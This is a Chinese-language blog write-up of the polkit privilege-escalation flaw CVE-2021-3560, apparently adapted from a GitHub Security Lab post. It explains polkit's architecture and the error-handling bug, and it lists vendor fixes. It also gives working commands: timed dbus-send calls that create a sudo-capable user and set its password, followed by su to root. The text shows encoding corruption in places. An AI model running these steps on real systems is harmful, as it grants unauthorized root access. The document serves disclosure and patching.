Linux Polkit权限提升漏洞(CVE-2021-3560)
polkit是默認(rèn)安裝在許多 Linux 發(fā)行版上的系統(tǒng)服務(wù)。它由systemd 使用,因此任何使用 systemd 的 Linux 發(fā)行版也使用 polkit。該漏洞使無(wú)特權(quán)的本地用戶能夠獲得系統(tǒng)上的 root shell。
關(guān)于polkit
當(dāng)您看到如下所示的對(duì)話框時(shí),polkit是在后臺(tái)運(yùn)行的系統(tǒng)服務(wù):
它本質(zhì)上扮演著法官的角色。如果你想做一些需要更高權(quán)限的事情——例如,創(chuàng)建一個(gè)新的用戶帳戶——那么決定是否允許你這樣做是 polkit 的工作。對(duì)于某些請(qǐng)求,polkit 會(huì)立即做出允許或拒絕的決定,而對(duì)于其他請(qǐng)求,它會(huì)彈出一個(gè)對(duì)話框,以便管理員可以通過(guò)輸入密碼來(lái)授予授權(quán)。
該對(duì)話框可能給人的印象是 polkit 是一個(gè)圖形系統(tǒng),但它實(shí)際上是一個(gè)后臺(tái)進(jìn)程。該對(duì)話框被稱為身份驗(yàn)證代理,它實(shí)際上只是一種將密碼發(fā)送到 polkit 的機(jī)制。
pkexec是一個(gè)類似于 sudo的命令,它使您能夠以 root 身份運(yùn)行命令。如果您在圖形會(huì)話中運(yùn)行pkexec,它將彈出一個(gè)對(duì)話框,但如果您在文本模式會(huì)話(如 SSH)中運(yùn)行它,則它會(huì)啟動(dòng)自己的文本模式身份驗(yàn)證代理:
另一個(gè)可用于polkit從命令行觸發(fā)的命令是dbus-send. 它是發(fā)送 D-Bus 消息的通用工具,主要用于測(cè)試,但通常默認(rèn)安裝在使用 D-Bus 的系統(tǒng)上。它可用于模擬圖形界面可能發(fā)送的 D-Bus 消息。例如,這是創(chuàng)建新用戶的命令:
如果您在圖形會(huì)話中運(yùn)行該命令,則會(huì)彈出一個(gè)身份驗(yàn)證對(duì)話框,但如果您在文本模式會(huì)話(如SSH )中運(yùn)行它,則會(huì)立即失敗。這是因?yàn)?#xff0c;不同與 pkexec,dbus-send它不啟動(dòng)自己的身份驗(yàn)證代理。
利用步驟
該漏洞非常容易利用。它所需要的是僅使用標(biāo)準(zhǔn)工具,如在終端中的幾個(gè)命令bash,kill和dbus-send。
證明漏洞取決于安裝的兩個(gè)軟件包:accountsservice和gnome-control-center. 在 Ubuntu 桌面等圖形系統(tǒng)上,這兩個(gè)軟件包通常默認(rèn)安裝。但是,如果您使用的是非圖形 RHEL 服務(wù)器之類的東西,那么您可能需要安裝它們,如下所示:
sudo yum install accountsservice gnome-control-center當(dāng)然,該漏洞與accountsservice或gnome-control-center沒(méi)有任何特別關(guān)系。它們只是 polkit 客戶端,恰好是利用的方便載體。PoC 依賴gnome-control-center和accountsservice。
為了避免重復(fù)觸發(fā)身份驗(yàn)證對(duì)話框(這可能很煩人),我建議從 SSH 會(huì)話運(yùn)行命令:
ssh localhost該漏洞是通過(guò)啟動(dòng)dbus-send命令但在 polkit 仍在處理請(qǐng)求的過(guò)程中將其殺死而觸發(fā)的。我認(rèn)為理論上可以通過(guò)在適當(dāng)?shù)臅r(shí)候使用 Ctrl+C 來(lái)觸發(fā),但我從來(lái)沒(méi)有成功過(guò),所以我用少量的 bash 腳本來(lái)代替。首先,您需要測(cè)量dbus-send正常運(yùn)行命令所需的時(shí)間:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1輸出如下所示
這對(duì)我來(lái)說(shuō)花了 0.009秒,所以這意味著我需要dbus-send在大約0.004秒后終止命令:
您可能需要運(yùn)行幾次,并且可能需要試驗(yàn)延遲的毫秒數(shù)。當(dāng)漏洞利用成功時(shí),您將看到已創(chuàng)建一個(gè)名為boris的新用戶
請(qǐng)注意,boris是該sudo組的成員,因此您已經(jīng)走上了全面提升權(quán)限的道路。接下來(lái),您需要為新帳戶設(shè)置密碼。D-Bus 接口需要一個(gè)散列密碼,您可以使用openssl以下方法創(chuàng)建:
$ openssl passwd -5 iaminvincible! $5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB現(xiàn)在你只需要再次執(zhí)行相同的技巧,除了這次調(diào)用SetPasswordD-Bus 方法:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!同樣,您可能需要試驗(yàn)延遲的長(zhǎng)度并運(yùn)行幾次直到成功。另請(qǐng)注意,您需要粘貼正確的用戶標(biāo)識(shí)符 (UID),在此示例中為“1002”,以及openssl命令中的密碼哈希。
現(xiàn)在您可以以 boris 身份登錄并成為 root:
su - boris # password: iaminvincible! sudo su # password: iaminvincible!polkit架構(gòu)
為了幫助解釋該漏洞,下面是dbus-send命令期間涉及的五個(gè)主要進(jìn)程的圖表:
圖中顯示了 dbus-send 命令中涉及的五個(gè)進(jìn)程:虛線上方的“dbus-send”和“Authentication Agent”,以及虛線下方的“accounts-daemon”和“polkit”,其中 dbus-daemon 作為中間人。
虛線上方的兩個(gè)進(jìn)程dbus-send和Authentication Agent是非特權(quán)用戶進(jìn)程。線下的那些是特權(quán)系統(tǒng)進(jìn)程。中間是dbus-daemon,它處理所有的通信:其他四個(gè)進(jìn)程通過(guò)發(fā)送 D-Bus 消息相互通信。
dbus-daemon在 polkit 的安全性中起著非常重要的作用,因?yàn)樗顾膫€(gè)進(jìn)程能夠安全地通信并檢查彼此的憑據(jù)。例如,當(dāng)身份驗(yàn)證代理向 polkit 發(fā)送身份驗(yàn)證 cookie 時(shí),它??是通過(guò)將其發(fā)送到org.freedesktop.PolicyKit1D-Bus 地址來(lái)實(shí)現(xiàn)的。由于該地址僅允許由根進(jìn)程注冊(cè),因此不存在非特權(quán)進(jìn)程攔截消息的風(fēng)險(xiǎn)。dbus-daemon還為每個(gè)連接分配一個(gè)“唯一的總線名稱:”通常類似于“:1.96”。它有點(diǎn)像進(jìn)程標(biāo)識(shí)符 (PID),只是不容易受到PID 回收攻擊。唯一的總線名稱當(dāng)前是從 64 位范圍中選擇的,因此不存在因名稱被重用而導(dǎo)致漏洞的風(fēng)險(xiǎn)。
這是事件的順序:
1、dbus-send要求accounts-daemon創(chuàng)建一個(gè)新用戶。 2、accounts-daemon從 接收 D-Bus 消息dbus-send。該消息包括發(fā)送者的 唯一總線名稱。讓我們假設(shè)它是“:1.96”。此名稱附加到消息中,dbus-daemon不能偽造。 3、accounts-daemon 詢問(wèn) polkit 連接:1.96 是否被授權(quán)創(chuàng)建新用戶。 4、polkit 要求dbus-daemon提供連接的 UID:1.96。 5、如果連接 :1.96 的 UID 為“0”,則 polkit 立即授權(quán)該請(qǐng)求。否則,它會(huì)向身份驗(yàn)證代理發(fā)送允許授權(quán)請(qǐng)求的管理員用戶列表。 6、身份驗(yàn)證代理打開(kāi)一個(gè)對(duì)話框以從用戶那里獲取密碼。 7、身份驗(yàn)證代理將密碼發(fā)送給 polkit。 8、polkit 將“是”回復(fù)發(fā)送回accounts-daemon. 9、accounts-daemon 創(chuàng)建新的用戶帳戶。漏洞原理
為什么殺死dbus-send命令會(huì)導(dǎo)致身份驗(yàn)證繞過(guò)?該漏洞位于上面列出的事件序列的第四步。如果 polkit 要求dbus-daemon連接 :1.96 的 UID,但連接 :1.96 不再存在,會(huì)發(fā)生什么?dbus-daemon正確處理這種情況并返回錯(cuò)誤。但事實(shí)證明 polkit 沒(méi)有正確處理該錯(cuò)誤。事實(shí)上,polkit 以一種特別不幸的方式錯(cuò)誤處理了錯(cuò)誤:它沒(méi)有拒絕請(qǐng)求,而是將請(qǐng)求視為來(lái)自 UID 0 的進(jìn)程。換句話說(shuō),它立即授權(quán)請(qǐng)求,因?yàn)樗J(rèn)為請(qǐng)求已經(jīng)到來(lái)從根進(jìn)程。
為什么漏洞的時(shí)間是不確定的?事實(shí)證明,polkitdbus-daemon在不同的代碼路徑上多次詢問(wèn)請(qǐng)求進(jìn)程的 UID。這些代碼路徑中的大多數(shù)都能正確處理錯(cuò)誤,但其中之一沒(méi)有。如果您dbus-send提前終止命令,它將由正確的代碼路徑之一處理,并且請(qǐng)求將被拒絕。要觸發(fā)易受攻擊的代碼路徑,您必須在適當(dāng)?shù)臅r(shí)候斷開(kāi)連接。而且由于涉及多個(gè)過(guò)程,“正確時(shí)刻”的時(shí)間因一次運(yùn)行而異。這就是為什么通常需要多次嘗試才能成功利用的原因。我猜這也是之前沒(méi)有發(fā)現(xiàn)該錯(cuò)誤的原因。
結(jié)論
CVE-2021-3560 使無(wú)特權(quán)的本地攻擊者能夠獲得 root 權(quán)限。它非常簡(jiǎn)單且易于利用,因此應(yīng)該盡快更新 Linux 。任何安裝了 polkit 0.113 版(或更高版本)的系統(tǒng)都容易受到攻擊。這包括流行的發(fā)行版,例如 RHEL 8 和 Ubuntu 20.04。
修復(fù)建議
目前此漏洞已經(jīng)修復(fù),建議參考Linux各發(fā)行版本的官方通告及時(shí)升級(jí)更新:
RHEL 8:
https://access.redhat.com/security/cve/CVE-2021-3560
Fedora 21及更高版本:
https://bugzilla.redhat.com/show_bug.cgi?id=1967424
Debian testing (“bullseye”):
https://security-tracker.debian.org/tracker/CVE-2021-3560
Ubuntu 20.04:
https://ubuntu.com/security/CVE-2021-3560
參考鏈接:https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
總結(jié)
以上是生活随笔為你收集整理的Linux Polkit权限提升漏洞(CVE-2021-3560)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 在UE中创建配置文件
- 下一篇: Python学记(三)turtle库